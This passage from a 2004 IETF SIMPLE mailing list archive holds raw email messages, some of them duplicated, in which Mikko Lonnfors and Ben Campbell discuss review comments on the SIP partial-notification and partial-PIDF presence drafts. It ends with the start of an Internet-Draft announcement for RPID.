The intention is definitely not to allow <removed> in initial notify.
Using PIDF for initial notification might be possible but I am not sure.
My own thinking about this is that for watchers it is easier to learn
already from initial notify if notifier is going to send partial
notifies or not. My proposal would be to add text which says that adding
<removed> element into initial notification is not allowed.=20
=20
>=20
> And a few nits and small issues:
>=20
> partial-notify:
>=20
> 4.1: Add another citation to the format document.

Will add

> 4.4 Paragraph 1 is redundant with 4.3, and not quite
> consistent with it.

Right, I will remove paragraph 1 from 4.4

> 4.4 Inconsistent use of PS and notifier.

Yes, fixed.

> Recovering from a missed notify depends on the notifier
> always sending=20
> full state after a subscription refresh. Where is this behavior=20
> mandated? 4.4 says you have to do this on the first notify,=20
> but does not=20
> mention refreshes.

Yes, I have added text to explain this.=20

> You say that if a watcher gets an old version number, it
> SHOULD refresh=20
> or terminate. What else could it safely do? Is SHOULD strong enough?

Actually I was planning to modify this so that watcher ignores
notifications with old version numbers. Watcher can safely do this and
it is consistent with winfo. I think refresh doesn't help here. Watcher
could also terminate the subscription but I am not sure if we should
document every possible recovery option from error condition?=20

> Examples: Use real content-lengths, or something that clearly
> indicates=20
> you would replace the content-length with something real. I=20
> fully expect=20
> to see an implementation include "Content-Length: .."

Ok, if you see that there is real danger some implementation would send
...

> partial-pdif-format:
>=20
> Section 1, p2 "in <tuple> level" --> "at the <tuple> level"

ok

> Section 3: I think there is  lot more to implementing partial than
> defining a new mime type. I think you want to say that implementing=20
> partial _requires_ defining a new mime type. (It's a sufficient=20
> condition vs necessary condition distinction.)

Yes, that was the intention. I will modify accordingly.

> Section 4, second bullet: MUST strength may be a little
> strong here, as=20
> it does not damage to include an unchanged tuple; it is merely less=20
> efficient. Further, a watcher definitely should not be in the=20
> business=20
> of rejecting a notify because it contained an unchanged tuple.

Right, I will change that to SHOULD

> 5.1: security considerations: Can we get away with just requiring
> appropriate precautions? Better to reference the security=20
> consideration=20
> section, which may then say the issues are identical to those=20
> for PDIF.

Strange, I though I had already added that. Will go into next version.

- Mikko
=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 15 14:14:55 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17390
	for <simple-archive@odin.ietf.org>; Mon, 15 Mar 2004 14:14:55 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xXe-0002rU-SZ
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 14:14:27 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2FJEQSq010994
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 14:14:26 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xXe-0002rF-Le
	for simple-web-archive@optimus.ietf.org; Mon, 15 Mar 2004 14:14:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17317
	for <simple-web-archive@ietf.org>; Mon, 15 Mar 2004 14:14:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xXc-0005VQ-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 14:14:24 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2xWT-0005LK-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 14:13:14 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xVL-0005AI-00; Mon, 15 Mar 2004 14:12:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xVI-0002gt-Su; Mon, 15 Mar 2004 14:12:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xVH-0002ge-Pt
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 14:11:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA16970
	for <simple@ietf.org>; Mon, 15 Mar 2004 14:11:56 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xVF-00059J-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:11:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2xUH-000516-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:10:58 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xTK-0004uP-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:09:58 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FJ9n420176;
	Mon, 15 Mar 2004 21:09:49 +0200 (EET)
X-Scanned: Mon, 15 Mar 2004 21:09:29 +0200 Nokia Message Protector V1.3.20 2004022613 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i2FJ9TFC011410;
	Mon, 15 Mar 2004 21:09:29 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00b5c9ki; Mon, 15 Mar 2004 21:09:28 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2FJ9R100948;
	Mon, 15 Mar 2004 21:09:27 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 15 Mar 2004 21:09:27 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DDD0@esebe004.ntc.nokia.com>
Thread-Topic: Belated wglc comments on partial notify
thread-index: AcQKtYf3fx1A+oLoR6WlCfe3ysNOgwABMjMA
To: <bcampbell@dynamicsoft.com>, <Jose.Costa-Requena@nokia.com>,
        <eva-maria.leppanen@nokia.com>, <hisham.khartabil@nokia.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 15 Mar 2004 19:09:27.0494 (UTC) FILETIME=[0957EE60:01C40AC1]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: Belated wglc comments on partial notify
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 21:09:27 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

>=20
> Sorry for the belated comments.

Thanks for comments in any case. They came just in time

> First, a couple of general comments. I vaguely recall
> discussing these=20
> before, so apologies if the are already resolved.
> This entire concept depends on the idea that tuple ids will be=20
> consistent between one notify and another. I'm not sure if we=20
> can count=20
> on that. Is that a normative requirement anywhere in the presence of=20
> pidf specs? If not, then there is really no way to say that=20
> two tuples=20
> in two different docs are the "same" tuple.  If this is not required=20
> elsewhere, then we must make it a requirement to support partial.

Yes, the mechanism requires that notifier keeps same tuple id for
identical tuples. PIDF says: "The <tuple> element MUST contain an 'id'
attribute which is used to
   distinguish this tuple from other tuples in the same PRESENTITY.  The
   value of an 'id' attribute MUST be unique within 'id' attribute
   values of other tuples for the same PRESENTITY.  An 'id' value is
   used by applications processing the presence document to identify the
   corresponding tuple in the previously acquired PRESENCE INFORMATION
   of the same PRESENTITY.  The value of the 'id' attribute is an
   arbitrary string, and has no significance beyond providing a means to
distinguish <tuple> values, as noted above."

I would read text above to mean that tuple ids must be consistent. If
text above does not mean that then this needs to be added to partial
notify drafts. I think that in any case this could be made clearer in
partial notify drafts.

> Why use partial format for full state notifies rather than the basic
> pidf format? Doing that allows you to do things like put <removed>=20
> elements in an initial notify. Do we want to allow that? If=20
> so, we need=20
> text to say what it means. If we were to use the basic format=20
> for full=20
> state, then the whole state attribute would no longer be needed.

The intention is definitely not to allow <removed> in initial notify.
Using PIDF for initial notification might be possible but I am not sure.
My own thinking about this is that for watchers it is easier to learn
already from initial notify if notifier is going to send partial
notifies or not. My proposal would be to add text which says that adding
<removed> element into initial notification is not allowed.=20
=20
>=20
> And a few nits and small issues:
>=20
> partial-notify:
>=20
> 4.1: Add another citation to the format document.

Will add

> 4.4 Paragraph 1 is redundant with 4.3, and not quite
> consistent with it.

Right, I will remove paragraph 1 from 4.4

> 4.4 Inconsistent use of PS and notifier.

Yes, fixed.

> Recovering from a missed notify depends on the notifier
> always sending=20
> full state after a subscription refresh. Where is this behavior=20
> mandated? 4.4 says you have to do this on the first notify,=20
> but does not=20
> mention refreshes.

Yes, I have added text to explain this.=20

> You say that if a watcher gets an old version number, it
> SHOULD refresh=20
> or terminate. What else could it safely do? Is SHOULD strong enough?

Actually I was planning to modify this so that watcher ignores
notifications with old version numbers. Watcher can safely do this and
it is consistent with winfo. I think refresh doesn't help here. Watcher
could also terminate the subscription but I am not sure if we should
document every possible recovery option from error condition?=20

> Examples: Use real content-lengths, or something that clearly
> indicates=20
> you would replace the content-length with something real. I=20
> fully expect=20
> to see an implementation include "Content-Length: .."

Ok, if you see that there is real danger some implementation would send
...

> partial-pdif-format:
>=20
> Section 1, p2 "in <tuple> level" --> "at the <tuple> level"

ok

> Section 3: I think there is  lot more to implementing partial than
> defining a new mime type. I think you want to say that implementing=20
> partial _requires_ defining a new mime type. (It's a sufficient=20
> condition vs necessary condition distinction.)

Yes, that was the intention. I will modify accordingly.

> Section 4, second bullet: MUST strength may be a little
> strong here, as=20
> it does not damage to include an unchanged tuple; it is merely less=20
> efficient. Further, a watcher definitely should not be in the=20
> business=20
> of rejecting a notify because it contained an unchanged tuple.

Right, I will change that to SHOULD

> 5.1: security considerations: Can we get away with just requiring
> appropriate precautions? Better to reference the security=20
> consideration=20
> section, which may then say the issues are identical to those=20
> for PDIF.

Strange, I though I had already added that. Will go into next version.

- Mikko
=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 15 14:41:57 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18836
	for <simple-archive@ietf.org>; Mon, 15 Mar 2004 14:41:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xyH-0007Rn-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 14:41:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2xxL-0007Ny-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 14:41:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xwU-0007Kl-00; Mon, 15 Mar 2004 14:40:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xwU-0005Ce-B4; Mon, 15 Mar 2004 14:40:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xvV-00057k-1z
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 14:39:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18686
	for <simple@ietf.org>; Mon, 15 Mar 2004 14:39:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xvS-0007FT-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:39:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2xuT-0007Bx-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:38:01 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xtf-00078e-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:37:11 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i2FJasIw096382;
	Mon, 15 Mar 2004 13:37:05 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <405604E2.50708@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mikko.lonnfors@nokia.com
CC: Jose.Costa-Requena@nokia.com, eva-maria.leppanen@nokia.com,
        hisham.khartabil@nokia.com, simple@ietf.org
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DDD0@esebe004.ntc.nokia.com>
In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DDD0@esebe004.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: Belated wglc comments on partial notify
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 13:32:50 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,BE_AMAZED autolearn=no 
	version=2.60
Content-Transfer-Encoding: 7bit

mikko.lonnfors@nokia.com wrote:

[...]

> Yes, the mechanism requires that notifier keeps same tuple id for
> identical tuples. PIDF says: "The <tuple> element MUST contain an 'id'
> attribute which is used to
>    distinguish this tuple from other tuples in the same PRESENTITY.  The
>    value of an 'id' attribute MUST be unique within 'id' attribute
>    values of other tuples for the same PRESENTITY.  An 'id' value is
>    used by applications processing the presence document to identify the
>    corresponding tuple in the previously acquired PRESENCE INFORMATION
>    of the same PRESENTITY.  The value of the 'id' attribute is an
>    arbitrary string, and has no significance beyond providing a means to
> distinguish <tuple> values, as noted above."
> 
> I would read text above to mean that tuple ids must be consistent. If
> text above does not mean that then this needs to be added to partial
> notify drafts. I think that in any case this could be made clearer in
> partial notify drafts.

I had read that section, but not carefully enough, I guess. I assume you 
are basing your opinion on the sentence, "An 'id' value is used by 
applications processing the presence document to identify the 
corresponding tuple in the previously acquired PRESENCE INFORMATION of 
the same PRESENTITY." I agree that sentence shows the intent of the 
authors were that the tuple-id be consistent across notifies. But, there 
is very little normative language around that, the scope of persistence 
etc. This may actually be something we need to clarify in the pidf spec.

In any case, adding some clarification text is probably sufficient. You 
might go so far to explicitly say that we interpret that particular 
sentence to imply that we expect tuple-id consistency, and for what 
scope we expect that. Probably, consistency until the next full state 
notify is enough, but it may be less confusing to just make it for the 
duration of the subscription.

> 
> 
>>Why use partial format for full state notifies rather than the basic
>>pidf format? Doing that allows you to do things like put <removed> 
>>elements in an initial notify. Do we want to allow that? If 
>>so, we need 
>>text to say what it means. If we were to use the basic format 
>>for full 
>>state, then the whole state attribute would no longer be needed.
> 
> 
> The intention is definitely not to allow <removed> in initial notify.
> Using PIDF for initial notification might be possible but I am not sure.
> My own thinking about this is that for watchers it is easier to learn
> already from initial notify if notifier is going to send partial
> notifies or not. My proposal would be to add text which says that adding
> <removed> element into initial notification is not allowed. 
>  
> 

I an conflicted on that one. On one side, it is cleaner to syntactically 
prevent <removed> from showing up. There may be some benefit in knowing 
immediately that the server will honor your partial request. If we do 
use the partial format for full state notifies, we should also say that 
the watcher MUST ignore any <removed> entities in a full state notify.

[...]
> 
>>You say that if a watcher gets an old version number, it
>>SHOULD refresh 
>>or terminate. What else could it safely do? Is SHOULD strong enough?
> 
> 
> Actually I was planning to modify this so that watcher ignores
> notifications with old version numbers. Watcher can safely do this and
> it is consistent with winfo. I think refresh doesn't help here. Watcher
> could also terminate the subscription but I am not sure if we should
> document every possible recovery option from error condition? 
> 

I think that is probably fine.

>>Examples: Use real content-lengths, or something that clearly
>>indicates 
>>you would replace the content-length with something real. I 
>>fully expect 
>>to see an implementation include "Content-Length: .."
> 
> 
> Ok, if you see that there is real danger some implementation would send
> ...

You'd be amazed.

[...]


>>5.1: security considerations: Can we get away with just requiring
>>appropriate precautions? Better to reference the security 
>>consideration 
>>section, which may then say the issues are identical to those 
>>for PDIF.
> 
> 
> Strange, I though I had already added that. Will go into next version.
> 
You may be thinking about the main security consideration section. I was 
referring to the Security Considerations field in the IANA registration 
in 5.1.

Thanks!

Ben.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 15 14:42:29 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18862
	for <simple-archive@odin.ietf.org>; Mon, 15 Mar 2004 14:42:28 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xyL-0005TP-LI
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 14:42:01 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2FJg1aq021034
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 14:42:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xyL-0005TB-B9
	for simple-web-archive@optimus.ietf.org; Mon, 15 Mar 2004 14:42:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18849
	for <simple-web-archive@ietf.org>; Mon, 15 Mar 2004 14:41:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xyI-0007Rt-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 14:41:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2xxM-0007O5-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 14:41:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xwU-0007Kl-00; Mon, 15 Mar 2004 14:40:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xwU-0005Ce-B4; Mon, 15 Mar 2004 14:40:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2xvV-00057k-1z
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 14:39:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18686
	for <simple@ietf.org>; Mon, 15 Mar 2004 14:39:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xvS-0007FT-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:39:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2xuT-0007Bx-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:38:01 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2xtf-00078e-00
	for simple@ietf.org; Mon, 15 Mar 2004 14:37:11 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i2FJasIw096382;
	Mon, 15 Mar 2004 13:37:05 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <405604E2.50708@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mikko.lonnfors@nokia.com
CC: Jose.Costa-Requena@nokia.com, eva-maria.leppanen@nokia.com,
        hisham.khartabil@nokia.com, simple@ietf.org
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DDD0@esebe004.ntc.nokia.com>
In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF01C1DDD0@esebe004.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: Belated wglc comments on partial notify
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 13:32:50 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,BE_AMAZED autolearn=no 
	version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

mikko.lonnfors@nokia.com wrote:

[...]

> Yes, the mechanism requires that notifier keeps same tuple id for
> identical tuples. PIDF says: "The <tuple> element MUST contain an 'id'
> attribute which is used to
>    distinguish this tuple from other tuples in the same PRESENTITY.  The
>    value of an 'id' attribute MUST be unique within 'id' attribute
>    values of other tuples for the same PRESENTITY.  An 'id' value is
>    used by applications processing the presence document to identify the
>    corresponding tuple in the previously acquired PRESENCE INFORMATION
>    of the same PRESENTITY.  The value of the 'id' attribute is an
>    arbitrary string, and has no significance beyond providing a means to
> distinguish <tuple> values, as noted above."
> 
> I would read text above to mean that tuple ids must be consistent. If
> text above does not mean that then this needs to be added to partial
> notify drafts. I think that in any case this could be made clearer in
> partial notify drafts.

I had read that section, but not carefully enough, I guess. I assume you 
are basing your opinion on the sentence, "An 'id' value is used by 
applications processing the presence document to identify the 
corresponding tuple in the previously acquired PRESENCE INFORMATION of 
the same PRESENTITY." I agree that sentence shows the intent of the 
authors were that the tuple-id be consistent across notifies. But, there 
is very little normative language around that, the scope of persistence 
etc. This may actually be something we need to clarify in the pidf spec.

In any case, adding some clarification text is probably sufficient. You 
might go so far to explicitly say that we interpret that particular 
sentence to imply that we expect tuple-id consistency, and for what 
scope we expect that. Probably, consistency until the next full state 
notify is enough, but it may be less confusing to just make it for the 
duration of the subscription.

> 
> 
>>Why use partial format for full state notifies rather than the basic
>>pidf format? Doing that allows you to do things like put <removed> 
>>elements in an initial notify. Do we want to allow that? If 
>>so, we need 
>>text to say what it means. If we were to use the basic format 
>>for full 
>>state, then the whole state attribute would no longer be needed.
> 
> 
> The intention is definitely not to allow <removed> in initial notify.
> Using PIDF for initial notification might be possible but I am not sure.
> My own thinking about this is that for watchers it is easier to learn
> already from initial notify if notifier is going to send partial
> notifies or not. My proposal would be to add text which says that adding
> <removed> element into initial notification is not allowed. 
>  
> 

I an conflicted on that one. On one side, it is cleaner to syntactically 
prevent <removed> from showing up. There may be some benefit in knowing 
immediately that the server will honor your partial request. If we do 
use the partial format for full state notifies, we should also say that 
the watcher MUST ignore any <removed> entities in a full state notify.

[...]
> 
>>You say that if a watcher gets an old version number, it
>>SHOULD refresh 
>>or terminate. What else could it safely do? Is SHOULD strong enough?
> 
> 
> Actually I was planning to modify this so that watcher ignores
> notifications with old version numbers. Watcher can safely do this and
> it is consistent with winfo. I think refresh doesn't help here. Watcher
> could also terminate the subscription but I am not sure if we should
> document every possible recovery option from error condition? 
> 

I think that is probably fine.

>>Examples: Use real content-lengths, or something that clearly
>>indicates 
>>you would replace the content-length with something real. I 
>>fully expect 
>>to see an implementation include "Content-Length: .."
> 
> 
> Ok, if you see that there is real danger some implementation would send
> ...

You'd be amazed.

[...]


>>5.1: security considerations: Can we get away with just requiring
>>appropriate precautions? Better to reference the security 
>>consideration 
>>section, which may then say the issues are identical to those 
>>for PDIF.
> 
> 
> Strange, I though I had already added that. Will go into next version.
> 
You may be thinking about the main security consideration section. I was 
referring to the Security Considerations field in the IANA registration 
in 5.1.

Thanks!

Ben.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 15 15:59:06 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24810
	for <simple-archive@ietf.org>; Mon, 15 Mar 2004 15:59:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2zAx-0005Aa-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 15:59:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2z9y-00052l-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 15:58:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2z90-0004uj-00; Mon, 15 Mar 2004 15:57:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2z8w-0003a3-CQ; Mon, 15 Mar 2004 15:57:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2z8J-0003Wt-PT
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 15:56:23 -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24371;
	Mon, 15 Mar 2004 15:56:21 -0500 (EST)
Message-Id: <200403152056.PAA24371@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: simple@ietf.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: [Simple] I-D ACTION:draft-ietf-simple-rpid-02.txt
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 15:56:20 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,MIME_BOUND_NEXTPART,
	NO_REAL_NAME autolearn=no version=2.60

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.

	Title		: RPID: Rich Presence: Extensions to the Presence Information Data Format (PIDF)
